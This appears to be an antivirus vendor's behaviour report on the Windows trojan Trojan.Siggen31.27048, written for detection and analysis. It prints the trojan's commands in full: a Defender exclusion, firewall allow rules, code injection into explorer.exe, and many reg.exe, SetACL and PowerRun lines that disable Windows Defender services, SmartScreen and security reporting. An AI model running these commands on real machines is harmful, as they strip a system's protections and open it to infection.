Trojan.Siggen31.27048

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Security Center
Windows Defender

adds antivirus exclusion:

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%TEMP%\nsf338E.tmp\""

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=oaffiqbkigibhk dir=in action=allow program="%TEMP%\nsf338E.tmp\oaffiqbkigibhk.exe" enable=yes profile=public,private
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name=oaffiqbkigibhkoaffiqbkigibhk dir=out action=allow program="%TEMP%\nsf338E.tmp\oaffiqbkigibhk.exe" enable=yes profile=public,private
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="oaffiqbkigibhkoaffiqbkigibhkoaffiqbkigibhk" dir=out action=allow program="%TEMP%\nsf338E.tmp\oaffiqbkigibhk.exe" enable=yes profile=any

Launches a large number of processes

Injects code into

the following system processes:

%WINDIR%\syswow64\explorer.exe

Modifies file system

Creates the following files

%TEMP%\nsf338e.tmp\nsexec.dll
%WINDIR%\temp\aokjajf
%WINDIR%\temp\aut34a.tmp
%TEMP%\edmthlc
%TEMP%\autff45.tmp
%WINDIR%\temp\bafajbu
%WINDIR%\temp\autfe5b.tmp
%WINDIR%\temp\pmtagbf
%WINDIR%\temp\autfded.tmp
%WINDIR%\temp\qsrfxcs
%WINDIR%\temp\autf95b.tmp
%WINDIR%\temp\wigbikh
%WINDIR%\temp\dvkxlkl
%WINDIR%\temp\aut3b7.tmp
%TEMP%\autf93c.tmp
%TEMP%\yecfiip
%TEMP%\autf556.tmp
%WINDIR%\temp\fxpento
%WINDIR%\temp\autf42d.tmp
%WINDIR%\temp\htqyamn
%WINDIR%\temp\autf2c7.tmp
%TEMP%\eguulxp
%TEMP%\autefe9.tmp
%WINDIR%\temp\gjvfulr
%WINDIR%\temp\auteec1.tmp
%WINDIR%\temp\autf94c.tmp
%WINDIR%\temp\gcwjsbv
%TEMP%\aut425.tmp
%TEMP%\nsf338e.tmp\oaffiqbkigibhk.exe
%WINDIR%\temp\iauqrto
%WINDIR%\temp\aut1bc9.tmp
%WINDIR%\temp\ijvdglh
%WINDIR%\temp\aut194a.tmp
%WINDIR%\temp\vbsktva
%WINDIR%\temp\aut15b1.tmp
%TEMP%\gwpyduj
%TEMP%\aut14e7.tmp
%WINDIR%\temp\xuyvkcg
%WINDIR%\temp\aut1209.tmp
%WINDIR%\temp\ukwtezh
%WINDIR%\temp\aut11ac.tmp
%TEMP%\hofxjim
%TEMP%\aute52.tmp
%WINDIR%\temp\empbqfw
%WINDIR%\temp\autdc5.tmp
%WINDIR%\temp\sayxfxg
%WINDIR%\temp\autc6e.tmp
%TEMP%\qhrhdzz
%TEMP%\aut933.tmp
%WINDIR%\temp\jadbrsd
%WINDIR%\temp\aut8f5.tmp
%WINDIR%\temp\fiyyrre
%WINDIR%\temp\aut8e5.tmp
%WINDIR%\temp\opoenii
%TEMP%\tieglqg
%WINDIR%\temp\autee54.tmp
%TEMP%\aieecmm
%TEMP%\auteb29.tmp
%TEMP%\nsf338e.tmp\3bn-5.bat
%TEMP%\lfxlgih
%TEMP%\autcdba.tmp
%WINDIR%\temp\uzljjav
%WINDIR%\temp\autcc43.tmp
%TEMP%\hyyofbm
%TEMP%\autc937.tmp
%WINDIR%\temp\ztaegzd
%WINDIR%\temp\autc8ab.tmp
%TEMP%\aftxgjo
%TEMP%\autc2e1.tmp
%TEMP%\nsf338e.tmp\4bn.bat
%TEMP%\nsf338e.tmp\3bn-4.bat
%WINDIR%\temp\mcsguhq
%TEMP%\nsf338e.tmp\3bn-3.bat
%TEMP%\nsf338e.tmp\3bn-2.bat
%TEMP%\nsf338e.tmp\3bn-1.bat
%TEMP%\nsf338e.tmp\2bn.bat
%TEMP%\nsf338e.tmp\1bn-3.bat
%TEMP%\nsf338e.tmp\1bn-2.bat
%TEMP%\nsf338e.tmp\1bn-1.bat
%TEMP%\nsf338e.tmp\0bn.bat
%TEMP%\nsf338e.tmp\setacl64.exe
%TEMP%\nsf338e.tmp\powerrun64.exe
%TEMP%\nsf338e.tmp\vegaq.dat
%TEMP%\nsf338e.tmp\oaffiqbkigibhk.exe.config
%TEMP%\knwqsfd
%WINDIR%\temp\autd21d.tmp
%WINDIR%\temp\ugqoith
%WINDIR%\temp\autce27.tmp
%WINDIR%\temp\gtofspg
%WINDIR%\temp\autea1f.tmp
%WINDIR%\temp\lsdqsaa
%WINDIR%\temp\aute935.tmp
%TEMP%\kedqvkm
%TEMP%\aute668.tmp
%WINDIR%\temp\bzicyre
%WINDIR%\temp\aute4c3.tmp
%WINDIR%\temp\ddbprah
%WINDIR%\temp\aute4a3.tmp
%WINDIR%\temp\ldvpatf
%WINDIR%\temp\aute06f.tmp
%WINDIR%\temp\lhtrxxq
%TEMP%\iqqpaqh
%TEMP%\autdf95.tmp
%WINDIR%\temp\autdf95.tmp
%WINDIR%\temp\tktbnou
%WINDIR%\temp\autdb8f.tmp
%TEMP%\znwfdyn
%TEMP%\autd9f9.tmp
%WINDIR%\temp\yaqdbpm
%WINDIR%\temp\autd6de.tmp
%TEMP%\yeowjhr
%TEMP%\autd355.tmp
%WINDIR%\temp\autd27b.tmp
%TEMP%\nsf338e.tmp\selfdel.dll

Deletes the following files

%TEMP%\autc2e1.tmp
%TEMP%\aute52.tmp
%WINDIR%\temp\empbqfw
%WINDIR%\temp\autdc5.tmp
%WINDIR%\temp\sayxfxg
%WINDIR%\temp\autc6e.tmp
%TEMP%\qhrhdzz
%TEMP%\aut933.tmp
%WINDIR%\temp\jadbrsd
%WINDIR%\temp\fiyyrre
%WINDIR%\temp\aut8e5.tmp
%WINDIR%\temp\aut8f5.tmp
%WINDIR%\temp\aut11ac.tmp
%TEMP%\hofxjim
%WINDIR%\temp\dvkxlkl
%WINDIR%\temp\aut3b7.tmp
%WINDIR%\temp\aokjajf
%WINDIR%\temp\aut34a.tmp
%TEMP%\edmthlc
%TEMP%\autff45.tmp
%WINDIR%\temp\bafajbu
%WINDIR%\temp\autfe5b.tmp
%WINDIR%\temp\pmtagbf
%WINDIR%\temp\autfded.tmp
%WINDIR%\temp\wigbikh
%TEMP%\knwqsfd
%WINDIR%\temp\aute06f.tmp
%WINDIR%\temp\ukwtezh
%TEMP%\nsf338e.tmp\selfdel.dll
%TEMP%\nsf338e.tmp\powerrun64.exe
%TEMP%\nsf338e.tmp\oaffiqbkigibhk.exe.config
%TEMP%\nsf338e.tmp\oaffiqbkigibhk.exe
%TEMP%\nsf338e.tmp\nsexec.dll
%TEMP%\nsf338e.tmp\4bn.bat
%TEMP%\nsf338e.tmp\3bn-5.bat
%TEMP%\nsf338e.tmp\3bn-4.bat
%TEMP%\nsf338e.tmp\3bn-3.bat
%TEMP%\nsf338e.tmp\3bn-2.bat
%TEMP%\nsf338e.tmp\3bn-1.bat
%TEMP%\nsf338e.tmp\2bn.bat
%TEMP%\nsf338e.tmp\1bn-3.bat
%TEMP%\nsf338e.tmp\1bn-2.bat
%TEMP%\nsf338e.tmp\1bn-1.bat
%TEMP%\nsf338e.tmp\0bn.bat
%WINDIR%\temp\iauqrto
%WINDIR%\temp\aut1bc9.tmp
%WINDIR%\temp\ijvdglh
%WINDIR%\temp\aut194a.tmp
%WINDIR%\temp\vbsktva
%WINDIR%\temp\aut15b1.tmp
%TEMP%\gwpyduj
%TEMP%\aut14e7.tmp
%WINDIR%\temp\xuyvkcg
%WINDIR%\temp\qsrfxcs
%TEMP%\aut425.tmp
%WINDIR%\temp\autf95b.tmp
%WINDIR%\temp\autf94c.tmp
%TEMP%\tieglqg
%WINDIR%\temp\gcwjsbv
%TEMP%\autdf95.tmp
%WINDIR%\temp\tktbnou
%WINDIR%\temp\autdb8f.tmp
%TEMP%\znwfdyn
%TEMP%\autd9f9.tmp
%WINDIR%\temp\yaqdbpm
%WINDIR%\temp\autd6de.tmp
%TEMP%\yeowjhr
%TEMP%\autd355.tmp
%WINDIR%\temp\ugqoith
%WINDIR%\temp\autd27b.tmp
%WINDIR%\temp\autd21d.tmp
%WINDIR%\temp\autdf95.tmp
%WINDIR%\temp\mcsguhq
%WINDIR%\temp\autce27.tmp
%TEMP%\lfxlgih
%TEMP%\autcdba.tmp
%WINDIR%\temp\uzljjav
%WINDIR%\temp\autcc43.tmp
%TEMP%\hyyofbm
%TEMP%\autc937.tmp
%WINDIR%\temp\ztaegzd
%WINDIR%\temp\autc8ab.tmp
%TEMP%\aftxgjo
%TEMP%\nsf338e.tmp\setacl64.exe
%WINDIR%\temp\aut1209.tmp
%WINDIR%\temp\lhtrxxq
%WINDIR%\temp\aute4a3.tmp
%TEMP%\iqqpaqh
%TEMP%\autf93c.tmp
%TEMP%\yecfiip
%TEMP%\autf556.tmp
%WINDIR%\temp\fxpento
%WINDIR%\temp\autf42d.tmp
%WINDIR%\temp\htqyamn
%WINDIR%\temp\autf2c7.tmp
%TEMP%\eguulxp
%TEMP%\autefe9.tmp
%WINDIR%\temp\gjvfulr
%WINDIR%\temp\auteec1.tmp
%WINDIR%\temp\opoenii
%WINDIR%\temp\autee54.tmp
%TEMP%\aieecmm
%TEMP%\auteb29.tmp
%WINDIR%\temp\gtofspg
%WINDIR%\temp\autea1f.tmp
%WINDIR%\temp\lsdqsaa
%WINDIR%\temp\aute935.tmp
%TEMP%\kedqvkm
%TEMP%\aute668.tmp
%WINDIR%\temp\bzicyre
%WINDIR%\temp\aute4c3.tmp
%WINDIR%\temp\ddbprah
%WINDIR%\temp\ldvpatf
%TEMP%\nsf338e.tmp\vegaq.dat

Deletes itself.

Miscellaneous

Creates and executes the following

'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nsf338e.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f

Executes the following

'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Systray" /v "HideSystray" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\4bn.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Get-MpPreference"
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /t reg_BINARY /d "030000000000000000000000" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "LocalSettingOverrideSpynetReporting" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\2bn.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\explorer.exe'
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
'%WINDIR%\syswow64\reg.exe' add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nsf338E.tmp\1bn-3.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
